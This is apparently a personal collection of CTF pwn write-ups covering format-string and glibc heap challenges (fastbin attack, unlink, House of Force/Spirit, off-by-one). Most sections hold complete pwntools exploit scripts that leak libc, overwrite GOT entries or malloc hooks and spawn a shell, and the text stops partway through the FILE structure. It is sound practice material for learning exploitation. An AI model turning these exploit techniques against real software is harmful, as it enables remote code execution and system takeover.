%p
placeholders will be replaced by an address.
However, I don't know how these addresses relate to the ones seen during IDA debuggingSkill 2: Modifying data at corresponding positions:
For example,
%85d%7$n
changes the value at the address corresponding to the 7th%p
to 85.
The core of the problem is how to modify the value of the secret array. Change secret[0] to 85 or secret[1] to 68.
The obvious exploitation points are the two scanf functions asking for address and wish, as well as the improperly formatted printf.
Using the previous stack overflow approach definitely won't work due to the presence of canary.
The solution's approach is to write the address of secret[0] into the first scanf, then use printf('1234-%p-%p-%p-%p-%p-...-%p')
and observe that the previously written address appears at the 7th %p
. After restarting the program, use printf('%85d%7$n')
.
Then, for the spell input part, mmap
is a memory mapping function with executable content, so a one-line shellcode is directly used.
io.sendline(asm(shellcraft.sh()))
Alternative Solution
Through debugging with IDA, it was found that the address of secret
in the main
function is not far from the non-canonical printf
, within 100h.
If you are patient enough, you will find that after inputting 25 %p
, the corresponding value is exactly the address of secret
, and this value, like the previous 7, does not change. So the previous scanf
for inputting the address is completely unnecessary.
exp:
# ctf.show + buuoj - libc6_2.27
from pwn import*
from LibcSearcher import*
context.arch = 'amd64'
context.log_level = 'debug'
#io = process('./3')
#io = remote('111.200.241.244',64533)
io.recv()
io.sendline('1')
io.recv()
io.sendline('east')
io.recv()
io.sendline('1')
io.recv()
#asking address
io.sendline('1')
io.recvline()
io.sendline('%85d%25$n')
io.recv()
io.sendline(asm(shellcraft.sh()))
io.interactive()
Fifth Space Finals Pwn5 — fmtstr
pwntools utility: fmtstr for format string vulnerabilities.
fmtstr_payload(offset, {address1: value1})
How to calculate the offset, for example:
your name:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,AAAA-0xffffd0d8-0x63-(nil)-0xf7ffdb30-0x3-0xf7fc3420-0x1-(nil)-0x1-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
// so the offset is 10
Exploit using the tool (tested):
from pwn import *
#io = process('./pwn')
io = remote('node4.buuoj.cn',27411)
context.log_level = 'debug'
#gdb.attach()
rand_addr = 0x804c044
payload = fmtstr_payload(10, {rand_addr:123456})
io.recv()
io.sendline(payload)
io.recv()
io.sendline('123456')
io.interactive()
Exploit without using the tool (though I don't fully understand the underlying details):
Updated on 2/25
$n
represents the number of bytes successfully output previously, which in this case is four integers, i.e., 0x10
.
Earlier, we calculated the offset to the input as 10, so starting from %10
, we write 0x10
to the addresses 0x804c044
to 0x804c047
.
Therefore, we can satisfy the condition by inputting 10101010
at the end.
from pwn import*
io=remote('node4.buuoj.cn',27411)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()
ctfshow-pwn-10: dota—int overflow+fmtstr+ret2libc
The first two issues were straightforward; learning that -2147483648
is its own opposite was something I just picked up from CSAPP.
Then came the format string vulnerability. fmtstr_payload
threw an error, saying it only works within 32-bit ranges, so I had no choice but to construct it manually.
By manually outputting stack addresses, I determined the offset to be 8.
I was inexperienced at the time and kept trying to place the address of the data I wanted to modify before %25d%9$n
or %25c%9$n
(why do both work?). Eventually, after checking others' write-ups, I realized it must be placed after, just like in the printf function.
Then came the 64-bit ret2libc3, but I had no idea how others found the address for pop_rdi
in their write-ups.
Complete script:
from pwn import *
from LibcSearcher import *
io = process('./dota.dota')
#io = remote('pwn.challenge.ctf.show', 28085)
context.log_level = 'debug'
elf=ELF('./dota.dota')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
io.sendline('dota')
io.sendline('-2147483648')
io.recvuntil('Quick question: What is the maximum hero level in dota1?')
io.recv(3)
addr_str = io.recv(14)
addr_str = addr_str[:-1]
rand_addr = int(addr_str,16)
payload = b'%25c%9$n' + p64(rand_addr) # alternative '%25d%9$n'
io.sendline(payload)
pop_rdi = 0x4009b3 #???????
pop_ret = 0x40053e
payload1=b'a'*136+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.recvuntil('\x0a')
io.sendline(payload1)
str_first = io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')
puts_add=u64(str_first)
print(hex(puts_add))
libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*136+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_add)
io.sendline(payload2)
io.interactive()
fmtstr+ret2libc
Source code provided:
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
//gcc -m32 -fno-stack-protector 9.2_fmtdemo4.c -o fmtdemo -g
Shellcode:
from pwn import *
io = process('./fmtdemo')
#io = remote('node4.buuoj.cn',27411)
context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('fmtdemo')
#gdb.attach()
printf_got = elf.got['printf'] # 0x80fc010
libc_printf = libc.symbols['printf']
libc_system = libc.symbols['system']
io.sendline(p32(printf_got) + b'%4$s') # *plt = got, *got = real_addr
printf_addr = u32(io.recv()[4:8])
libc_base = printf_addr - printf_got
log.success("libc_base:"+hex(libc_base))
print(hex(printf_addr))
payload = fmtstr_payload(4, {printf_got:printf_addr-libc_printf+libc_system})
io.sendline(payload)
io.interactive()
bjdctf_2020_babyrop2 – ret2libc + fmtstr + canary
This serves as a small synthesis in the stack overflow series, utilizing a format string vulnerability to leak the canary value, followed by conventional ROP and 64-bit ret2libc. Overall, the difficulty is not high. (Mainly wanted to share my current code framework, which I personally find quite decent.)
from pwn import *
import sys
def exploit():
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
pop_rdi = 0x400993
ret = 0x4005f9
io.recvuntil('to help u!\n')
io.sendline('%7$p')
canary = int(io.recv(18),16)
log.success('canary-->'+hex(canary))
io.recvuntil('u story!\n')
payload1 = b'a'*24 + p64(canary) + p64(0)
payload1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(payload1)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0')) - libc.sym['puts']
log.success('libc_base-->'+hex(libc_base))
sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a'*24 + p64(canary) + p64(0)
payload2 += p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.sendline(payload2)
if __name__ == "__main__":
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
if sys.argv.__len__() == 2:
libc = ELF('/home/junyu33/Desktop/libc/libc.so.6')
elif sys.argv[2] == 'debug':
gdb.attach(io, 'b *0x4008d9')
elif sys.argv[2] == 'remote':
libc = ELF('/home/junyu33/Desktop/libc/libc-2.23-x64.so')
io = remote('node4.buuoj.cn', 27078)
context(arch='amd64', os='linux', log_level='debug')
#pause()
exploit()
io.interactive()
axb_2019_fmt32
Format string vulnerability with misaligned stack + ret2libc, with a character offset of 8.
def exploit():
io.recvuntil('tell me:')
payload1 = b'a' + p32(elf.got['puts']) + b'b' + b'%8$s' # 'a' to align the stack, 'b' to identify the address of 'puts'
io.sendline(payload1)
io.recvuntil('b')
puts_addr = u32(io.recv(4))
libc_base = puts_addr - libc.sym['puts']
log.success('libc_base-->'+hex(libc_base))
libc_sys = libc_base + libc.sym['system']
payload2 = b'a'+fmtstr_payload(8, {elf.got['printf']:libc_sys}, numbwritten=10) # len('repeater:a') = 10
io.sendafter('tell me:', payload2)
payload3 = b';/bin/sh\0' # finish the last command and getshell
io.sendline(payload3)
buu-n1book: fsb2——fmtstr on heap
Format string on the heap. Learning reference: https://www.anquanke.com/post/id/184717
The arbitrary address write script here has been adapted for 64-bit scenarios.
In 64-bit systems, elf_base
typically starts with 0x55, while libc_base
starts with 0x7f, with the last 12 bits being 0.
This script does not succeed every time for unknown reasons.
def write_address(off0,off1,target_addr):
p.sendline("%{}$p".format(off1))
p.recvuntil("0x")
addr1 = int(p.recv(12),16)&0xff
p.recv()
for i in range(6):
p.sendline("%{}c%{}$hhn".format(addr1+i,off0))
p.recv()
p.sendline("%{}c%{}$hhn".format((target_addr&0xff)+256,off1))
p.recv()
target_addr=target_addr>>8
p.sendline("%{}c%{}$hhn".format(addr1,off0))
p.recv()
def exploit():
p.sendline('%10$p%16$p%20$p%21$p')
p.recvuntil('hello')
addr1 = int(p.recv(14), 16) # 10
addr2 = int(p.recv(14), 16) # 16
addr3 = int(p.recv(14), 16) # 20
addr4 = int(p.recv(14), 16) # 21
# 10->16->20
elf_base = addr3 - elf.sym['__libc_csu_init']
libc_base = addr4 - libc.sym['__libc_start_main'] - 231 # debug
elf_free = elf_base + elf.got['free']
libc_sys = libc_base + libc.sym['system']
write_address(10, 16, elf_free)
write_address(16, 20, libc_sys)
p.sendline(b'/bin/sh\0')
update on 2022/10/2:
The original code from the blog post had a minor flaw. Line 9 should be modified to
p.sendline("%{}c%{}$hhn".format((target_addr&0xff)+256,off1))
; otherwise, modifying a byte to00
would fail. (This has been corrected here.)
axb_2019_fmt64
Python3's type conversion can be a bit of a headache...
def exploit():
io.recvuntil('tell me:')
payload1 = b'%9$sAAAA' + p64(elf.got['puts'])
io.sendline(payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success('libc_base-->'+hex(libc_base))
libc_sys = libc_base + libc.sym['system']
sys_high = (libc_sys >> 16) & 0xff
sys_low = libc_sys & 0xffff
# previous output has 9 bytes
len1 = bytes(str(sys_high - 9), encoding = 'utf-8')
len2 = bytes(str(sys_low - sys_high), encoding = 'utf-8')
payload2 = b"%" + len1 + b"c%12$hhn" # arugment 10, the higher 2 bytes
payload2 += b"%" + len2 + b"c%13$hn" # argument 11, the last 4 bytes
payload2 = payload2.ljust(32,b"A") + p64(elf.got['strlen'] + 2) + p64(elf.got['strlen'])
io.sendafter('tell me:', payload2)
payload3 = b';/bin/sh\0'
io.sendafter('tell me:', payload3)
ciscn_2019_sw_1——fini.array
The
main
function only has one opportunity for a format string vulnerability, and stack overflow is prevented.
-
During program loading, each function pointer in the
init.array
is called sequentially, and upon termination, each function pointer infini.array
is called in order. -
When
NO RELRO
is enabled,fini.array
is writable. Therefore, it is possible to modify the value offini.array
to re-execute the main function.
def exploit():
printf_got = 0x804989c
system_plt = 0x80483d0
fini_array = 0x804979c
main = 0x8048534
header = p32(printf_got+2) + p32(fini_array+2) + p32(printf_got) + p32(fini_array) # len=0x10
payload = '%' + str(0x804-0x10) + 'c%4$hn'
payload += '%5$hn'
payload += '%' + str(0x83d0-0x804) + 'c%6$hn'
payload += '%' + str(0x8534-0x83d0) + 'c%7$hn'
payload = header + payload.encode('utf-8')
io.sendline(payload)
io.sendline('/bin/sh\0')
pwnable_fsb (buu enhanced)
The original pwnable challenge was 32-bit without PIE enabled, but the version on buu is 64-bit with PIE enabled, which increases the difficulty.
Use $hhn
to write 1 byte, $hn
to write 2 bytes, $n
to write 4 bytes, and $ln
to write 8 bytes.
First, use the first format string to record elf_base
, stack_base
, and [rbp]
.
Then observe the stack and notice that there is no case where three consecutive chains are all stack addresses.

Observe the address pointed to by rbp
(due to stack randomization, we need to use one format string to record [rbp]
and calculate the offset from rsp
):

It can be seen that the location [rbp] + 0x18
satisfies the requirement of having three chains on the stack. Since **([rbp] + 0x18)
is not far from rbp
, it can be rewritten in one go. The result is as follows:

Then, at rbp
, change the last 16 bits of __libc_csu_init
to the last 16 bits of target_addr
. At [rbp] + 0x18
, change **([rbp] + 0x18)
to **([rbp] + 0x18) + 2
to prepare for modifying the middle 8 bits of __libc_csu_init
.
Actually, simply changing
**([rbp] + 0x18)
to**([rbp] + 0x18) + 2
is sufficient; the first step doesn't really have any effect.
During the third format string, calculate the offset of *([rbp] + 0x18)
and change the middle 8 bits of __libc_csu_init
to the middle 8 bits of target_addr
. At this point, __libc_csu_init
becomes key
.

Finally, I attempted to leak the value of key
and input it, but the program seems to convert the result of strtoull
into an int
, making it impossible to match key
. So I wrote 0 bytes at key
using $ln
, but for some unknown reason, key
remains 1.
from pwn import *
elf_path = './pwn'
libc_path = '/home/junyu33/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so'
def exploit():
key = 0x202040
payload = '%14$p%12$p%18$p'
io.sendline(payload)
io.recvuntil('0x')
elf_base = int(io.recv(12), 16) - 0xcb8
io.recvuntil('0x')
stack_base = int(io.recv(12), 16)
io.recvuntil('0x')
rbp_base = int(io.recv(12), 16)
log.success('elf_base: ' + hex(elf_base))
log.success('stack_base: ' + hex(stack_base))
log.success('rbp_base: ' + hex(rbp_base))
off0 = ((rbp_base + 0x18 - stack_base) >> 3) + 6
off1 = off0 + 26
target_addr = elf_base + key
payload = "%{}c%{}$hn".format(rbp_base&0xffff, off0)
payload += "%{}c%{}$hn".format((target_addr-rbp_base)&0xffff, 18)
payload += "%{}c%{}$hn".format((rbp_base+2-target_addr)&0xffff, off0)
io.sendline(payload)
payload = "%{}c%{}$hhn".format((target_addr>>16)&0xff, off1)
payload = payload.ljust(100, '\0')
io.send(payload)
io.recvuntil('Give me some format strings(4)\n')
payload = "%{}c%{}$ln".format(0, off0-3)
payload = payload.ljust(100, '\0')
io.send(payload)
io.send('1')
if __name__ == '__main__':
context(arch='amd64', os='linux', log_level='debug')
io = process(elf_path)
elf = ELF(elf_path)
libc = ELF(libc_path)
if(sys.argv.__len__() > 1):
if sys.argv[1] == 'debug':
gdb.attach(io)
elif sys.argv[1] == 'remote':
io = remote('node4.buuoj.cn', 25094)
elif sys.argv[1] == 'ssh':
shell = ssh('fsb', 'node4.buuoj.cn', 25540, 'guest')
io = shell.process('./fsb')
exploit()
io.interactive()
io.close()
wustctf2020_babyfmt—partial_stderr
This challenge has a rather unique approach. Although there is a non-intended solution by Loτυs modifying the fmt_attack
counter.
There is one use of a format string, allowing a one-byte arbitrary address leak once, and initially, scanf("%ld")
can be used once to input a time.
When the input is not an integer, scanf rejects the input and returns three stack addresses, one of which is related to the ELF base address.
Since the last three bytes of libc are fixed, only the second-to-last byte of stderr
needs to be leaked once.
Finally, use the format string to change the second-to-last byte of stdout
to the second-to-last byte of stderr
, while also changing the lower byte of the secret to \0
.
fmtstr_payload
is still too long (64 > 40), so it's better to do it manually.
def exploit():
io.sendline('1.5')
io.recvuntil('1:')
elf_base = int(io.recvuntil(':')[:-1]) - 0xbd5
stdout = elf_base + 0x202020
stderr = elf_base + 0x202040
secret = elf_base + 0x202060
io.recv()
leak(p64(stderr+1))
stderr_1 = u8(io.recvuntil(b'1.')[-3:-2]) * 0x100 + 0x40
log.info('stderr_1: ' + hex(stderr_1))
# offset = 8
payload = "%11$hn%" + str(stderr_1) + 'c%12$hn'
payload = payload.encode('utf-8')
payload = payload.ljust(0x18, b'\0') + p64(secret) + p64(stdout)
fmt(payload)
getflag('\0'*64)
heap
libc 2.23
libc 2.23 UAF


Using one_gadget:

def exploit():
add(2, 0x100, '2')
add(3, 0x10, 'protected')
free(2)
show(2)
addr = u64(p.recv(6).ljust(8, b'\0'))
libc_base = addr - libc.sym['__malloc_hook'] - 112
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a
add(0, 0x60, '0')
free(0)
edit(0, p64(malloc_hook - 0x23))
add(1, 0x60, '1')
add(2, 0x60, b'2'*0x13 + p64(one_gadget))
add(4, 0x60, '4')
babyheap_0ctf_2017 — Fastbin Attack
Cannot be reproduced locally in
ubuntu18/libc2.26
and above, GDB debugging is not possible, so heap/stack diagrams are not included.Reason:
libc2.26
introduced thetcache
mechanism.Solution: Use patchelf or
io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
Fastbin Attack
Vulnerability: Fill with arbitrary size
Type: Double Free
def exploit():
alloc(0x18) #0
alloc(0x68) #1
alloc(0x68) #2
alloc(0x18) #3
fill(0,0x19,'a'*0x18+'\xe1')
free(1)
alloc(0x68) #1
dump(2)
p.recvuntil('Content: \n')
leak = u64(p.recvline()[:8])
libc_base=leak-(0x7fc4a1902b78-0x7fc4a153e000) # GDB debug libc
malloc_hook = libc_base + libc.symbols['__malloc_hook']
onegadget=libc_base+0x4526a # one_gadget
alloc(0x68) #4
free(2)
fill(4,0x8,p64(malloc_hook-0x23)) # To satisfy the condition that the last 3 bits of the size are all '1's, it's '\x7f' here.
alloc(0x68) #2
alloc(0x68) #5
fill(5,0x1b,'a'*0x13+p64(onegadget))
alloc(0x18)
p.interactive()
[ZJCTF 2019]EasyHeap—Fastbin Double Free
This heap challenge is slightly easier than the 0ctf2017 heap problem, as it does not require leaking the __malloc_hook
function.
def exploit():
Alloc(0x18, '0')
Alloc(0x68, '1')
Alloc(0x68, '2')
Alloc(0x18, '3')
Edit(0, 0x19, 'a'*0x18 + '\xe1')
Free(1)
magic = 0x6020ad
Alloc(0x68, '1')
Alloc(0x68, '4') # 2
Free(2)
Edit(4, 8, p64(magic))
Alloc(0x68, '2')
Alloc(0x68, '5')
Edit(5, 8, '12345678')
io.sendline('4869')
babyfengshui_33c3_2016
Partial RELRO
, allowing modification of the GOT and PLT tables.
Program timeout restriction removed—replaced the alarm
function with the isnan
function.
sed -i s/alarm/isnan/g ./ProgrammName
- Bypass the length check by separating the name chunk from the description chunk.
- Overflow the 0th chunk and write
free.got
into the 1st chunk to leak the libc version. - Change
free.got
tosystem.got
. - Obtain a shell by freeing the second chunk containing
/bin/sh
.
def exploit():
Add(0x80, 0x80, 'a')
Add(0x80, 0x80, 'b')
Add(0x8, 0x8, '/bin/sh\0')
Del(0)
Add(0x100, 0x19c, b'a'*0x198 + p32(elf.got['free']))
Dis(1)
io.recvuntil('description: ')
free_addr = u32(io.recv(4))
libc_base = free_addr - libc.sym['free']
log.success('libc_base->'+hex(libc_base))
sys = libc_base + libc.sym['system']
Upd(1, 4, p32(sys))
Del(2)
hitcontraining_heapcreator - Off by One + Chunk Overlapping
First, use a heap overflow to modify the size field at 0xe5548 from 0x21 to 0x41, achieving an off-by-one overflow.
Observe the heap layout after deletion and reallocation.
After deletion, two fastbins are formed at 0xe5540 and 0xe55060.

Then, after reallocating, a 0x20 chunk will be allocated at 0xe55060, along with a 0x40 chunk at 0xe55040.
At this point, the heap pointer of the 0x20 chunk can be directed to free.got
, allowing free.got
to be overwritten with libc.sys
. Then, freeing the chunk containing /bin/sh
will execute a shell.

def exploit():
add(0x18, 'aaaaaa')
add(0x18, 'bbbbbb')
edit(0, b'/bin/sh\0'+b'a'*0x10+b'\x41')
add(0x38, 'protected')
delete(1)
add(0x30, p64(0)*4 + p64(0x30) + p64(elf.got['free']))
libc_base = u64(show(1).ljust(8, b'\x00')) - libc.sym['free']
libc_sys = libc_base + libc.sym['system']
edit(1, p64(libc_sys))
delete(0)
roarctf_2019_easy_pwn—off by one+realloc_hook
Due to the stack environment, it is necessary to use realloc_hook+4
to satisfy the conditions of the one_gadget
.
The principle is to adjust the number of pushes so that [rsp+0x70]
aligns exactly with a null position.
As shown below, set a breakpoint in gdb at the calloc(realloc_hook+4) function, and run to this point to examine the values near [rsp+0x70]:
pwndbg> x/16gx $rsp+0x70
0x7fff9700beb8: 0x000055e7e5e011ec 0x0000000000000000
0x7fff9700bec8: 0x6acb57d5bd5773a9 0x000055e7e5e009a0
0x7fff9700bed8: 0x00007fff9700bf70 0x0000000000000000
0x7fff9700bee8: 0x0000000000000000 0x3efbb214e59773a9
0x7fff9700bef8: 0x3f549cd4b72773a9 0x0000000000000000
0x7fff9700bf08: 0x0000000000000000 0x0000000000000000
0x7fff9700bf18: 0x00007fff9700bf88 0x00007f2800bda168
0x7fff9700bf28: 0x00007f28009c380b 0x0000000000000000
The assembly of __libc_realloc
is as follows. It may require several attempts to find the correct jump address.
pwndbg> disass __libc_realloc
Dump of assembler code for function __GI___libc_realloc:
0x00007f15184fae80 <+0>: endbr64
0x00007f15184fae84 <+4>: push r15
0x00007f15184fae86 <+6>: push r14
0x00007f15184fae88 <+8>: push r13
0x00007f15184fae8a <+10>: push r12
0x00007f15184fae8c <+12>: mov r12,rsi
0x00007f15184fae8f <+15>: push rbp
0x00007f15184fae90 <+16>: mov rbp,rdi
0x00007f15184fae93 <+19>: push rbx
0x00007f15184fae94 <+20>: sub rsp,0x18
Local exploit code (change 0xf1247 to 0xf1147 for remote).
def exploit():
add(0x18) #0
add(0x18) #1
add(0xa8) #2
add(0x18) #3
edit(0, 0x18+10, b'/bin/sh\0'+b'\0'*0x10+b'\x41')
edit(2, 0x19, b'\0'*0x18+b'\x91')
edit(3, 9, 'protected')
free(1)
add(0x38)
edit(1, 0x20, p64(0)*3 + p64(0xb1))
free(2)
libc_base = u64(show(1))- libc.sym['__malloc_hook'] - 0x68
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0xf1247
add(0xa8)
add(0x28) #4
add(0x28) #5
add(0x68) #6
add(0x28) #7
edit(4, 0x28+10, b'\0'*0x28 + b'\xa1')
free(5)
add(0x98)
edit(5, 0x30, p64(0)*5 + p64(0x71))
free(6)
edit(5, 0x38, p64(0x12345678)*4 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23))
add(0x68) #6
add(0x68) #7
edit(8, 0x1b, b'a'*11 + p64(one_gadget) + p64(realloc_hook+4))
add(0x68)
hitcon_stkof—unlink
For the unlink part, the fake_chunk is constructed with the following formula:
-
ptr points to the stack data area:
fake_pre_size(0) + fake_size(1) + ptr-0x18 + ptr-0x10
-
The next chunk's
pre_size
isfake_size(0)
, and size issize(0)
. -
Here,
(0)
and(1)
represent theprev_inuse
bit.
For the leak puts part, unlink modifies the control pointer to the GOT table, and the edit function effectively modifies values inside the GOT table. At this point, free(2) is equivalent to elf.plt['puts'](elf.got['puts'])
, thereby printing the address of libc_puts
to obtain libc_base
.
The method for getting a shell is similar to leaking puts.
def exploit():
# unlink
add(0x18) #1 0x602148
add(0x38) #2
add(0x88) #3
add(0x18) #4
fake_chunk = p64(0)+p64(0x31)+p64(buf_ptr-0x18)+p64(buf_ptr-0x10)
fake_chunk = fake_chunk.ljust(0x30, b'\x00')+p64(0x30)+p64(0x90)
edit(2, len(fake_chunk), fake_chunk)
free(3)
#leak puts
payload = p64(0)*2+p64(elf.got['free'])+p64(elf.got['puts'])
edit(2, len(payload), payload)
edit(1, 8, p64(elf.plt['puts']))
free(2)
#get libc
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.symbols['puts']
libc_sys = libc_base + libc.sym['system']
#getshell
edit(1, 8, p64(libc_sys))
edit(4, 8, '/bin/sh\0')
free(4)
hitcontraining_bamboobox—unlink/house of force
This challenge involves a trailing null byte when creating and editing strings (an off-by-null, which also becomes a debugging obstacle), but the main vulnerability is a heap overflow.
Unlink solution (without using the provided backdoor):
def exploit():
buf_ptr = 0x6020d8
add(0x18, 'aaaa') #0 0x6020c8
add(0x38, 'bbbb') #1 0x6020d8
add(0x88, 'cccc') #2
add(0x18, '/bin/sh\0') #3
fake_chunk = p64(0)+p64(0x31)+p64(buf_ptr-0x18)+p64(buf_ptr-0x10)
fake_chunk = fake_chunk.ljust(0x30, b'\x00')+p64(0x30)+p64(0x90)
edit(1, len(fake_chunk)-1, fake_chunk[:-1]) # fuck off the rear zero!
free(2)
payload = p64(0x18)+p64(elf.got['free'])+p64(0x38)+p64(buf_ptr-0x18)+p64(0x88)+p64(elf.got['puts'])
edit(1, len(payload)-1, payload[:-1])
edit(0, 7, p64(elf.plt['puts'])[:-1])
free(2)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.symbols['puts']
libc_sys = libc_base + libc.sym['system']
print(hex(libc_base))
edit(0, 7, p64(libc_sys)[:-1])
free(3)
Since it uses libc 2.27 or below, the House of Force solution is also feasible. This method replaces the address of goodbye_message
with the address of magic
, thereby reading the flag from a specified path upon exit:
def exploit():
magic = 0x400d49
add(0x38, b'aaaa')
edit(0, 0x40, b'c'*0x38+p64(0xffffffffffffffff))
offset_to_heap_base = -(0x40+0x20)
malloc_size = offset_to_heap_base - 0x8 - 0xf
add(malloc_size, 'dddd')
add(0x10, p64(0)+p64(magic))
io.sendline('5')
Regarding the constants 0x8 and 0xf:
We need to ensure that
request2size
converts to the corresponding size exactly, meaning we need to make ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK equal to -4112. First, it is clear that -4112 is chunk-aligned, so we only need to subtract SIZE_SZ and MALLOC_ALIGN_MASK from it to get the required allocation value.https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/#1
#ifndef INTERNAL_SIZE_T
#define INTERNAL_SIZE_T size_t
#endif
/* The corresponding word size */
#define SIZE_SZ (sizeof(INTERNAL_SIZE_T))
/*
MALLOC_ALIGNMENT is the minimum alignment for malloc'ed chunks.
It must be a power of two at least 2 * SIZE_SZ, even on machines
for which smaller alignments would suffice. It may be defined as
larger than this though. Note however that code and data structures
are optimized for the case of 8-byte alignment.
*/
#ifndef MALLOC_ALIGNMENT
# if !SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_16)
/* This is the correct definition when there is no past ABI to constrain it.
Among configurations with a past ABI constraint, it differs from
2*SIZE_SZ only on powerpc32. For the time being, changing this is
causing more compatibility problems due to malloc_get_state and
malloc_set_state than will returning blocks not adequately aligned for
long double objects under -mlong-double-128. */
# define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 *SIZE_SZ)
# else
# define MALLOC_ALIGNMENT (2 *SIZE_SZ)
# endif
#endif
/* The corresponding bit mask value */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
/* pad request bytes into a usable size -- internal version */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
lctf2016_pwn200—House of Spirit
The main points of the House of Spirit technique include:
- Targets fastbins;
- The
ISMMAP
bit in the constructed size field must not be 1;- The pointer must point to the data area of the previous chunk;
- The distance between the chunk and the next chunk is the size of the previous chunk.
The stack frame layout is as shown (top is func 0x400a29
, middle is func 0x400a8e
, bottom is the main function):

Note that the return value of the getid
function at the end of func 0x400a8e
is also important:
.text:0000000000400B24 48 98 cdqe
.text:0000000000400B26 48 89 45 C8 mov [rbp+var_38], rax
.text:0000000000400B2A B8 00 00 00 00 mov eax, 0
.text:0000000000400B2F E8 F5 FE FF FF call sub_400A29
.text:0000000000400B2F
.text:0000000000400B34 C9 leave
.text:0000000000400B35 C3 retn
It stores the return value at rbp-0x38
, which is the size field of the constructed next chunk.
def exploit():
io.recvuntil('who are u?')
io.send(shellcode.ljust(48, b'a'))
rbp = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) # the start of line 13
fake_addr = rbp - 0x90 # the start of line 4
shellcode_addr = rbp - 0x50 # the start of line 8
io.recvuntil('id ~~?')
io.sendline('48') # store at [rbp - 0x38]
io.recvuntil('money~')
payload = p64(0)*5 + p64(0x40)
payload = payload.ljust(0x38, b'\0') + p64(fake_addr) # overlap the heap pointer to fake_addr
io.send(payload) # fill the fake_chunk
io.recvuntil('choice : ')
io.sendline('2') # free the fake_chunk
io.recvuntil('choice : ')
io.sendline('1')
io.sendline('48') # alloc again, must be (fake_chunk size - 0x10)
payload = b'a'*0x18 + p64(shellcode_addr) # overflow 0x400a8e to shellcode_addr
io.send(payload)
io.sendline('3')
houseoforange_hitcon_2016—unsortedbin attack + FSOP
In the original
edit
function, there is no length check, allowing for heap overflow. There are also restrictions on the number ofadd
andedit
operations.
Regarding the FILE
structure:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
